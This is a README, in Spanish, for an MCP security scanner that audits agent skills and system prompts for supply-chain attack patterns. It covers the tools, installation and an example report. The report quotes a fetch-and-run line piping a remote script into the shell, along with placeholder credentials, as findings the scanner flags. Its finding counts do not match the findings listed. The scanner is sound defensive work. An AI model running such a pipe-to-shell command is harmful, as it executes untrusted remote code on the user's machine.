mcp-skill-sec

Un servidor del Model Context Protocol (MCP) que audita cualquier skill de agente, prompt de sistema o colección de archivos descargada contra los 8 patrones de cadena de suministro de skills maliciosas.

Determinista, sin LLM, sin llamadas de red — un escáner autoalojable previo a la instalación que funciona con Claude Code, Cursor, Copilot, OpenClaw, Codex CLI y cualquier agente compatible con MCP.

Qué busca (reglas R1–R8)

Cada hallazgo incluye una severity (critical/high/medium/low), un número de línea y la línea de evidencia correspondiente. El veredicto general es PASS solo cuando no hay hallazgos critical/high y todos los hallazgos medium son benignos.

Related MCP server: Heron

Herramientas

• audit_text(text, filename) — audita una cadena (una skill que te pegaron, un prompt de sistema que no escribiste).

• audit_skill_file(path) — audita un SKILL.md / AGENTS.md / CLAUDE.md en disco, con evidencia numerada por línea.

• audit_directory(path, pattern) — audita una colección completa de skills descargadas; devuelve veredictos por archivo + un resumen.

• rule_list() — muestra el catálogo de reglas.

Instalación y ejecución

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Configuración de Claude Desktop / agente

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Ejemplo

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

Licencia y procedencia

MIT. Escrito por sudo-ai-git. Esta es una herramienta de seguridad/verificación independiente; no codifica ningún método propietario. Es la expresión MCP de la skill de agente skill-sec (las mismas reglas, invocable como servidor en lugar de como skill).

Metadatos del Registro MCP oficial

mcp-name: io.github.sudo-ai-git/mcp-skill-sec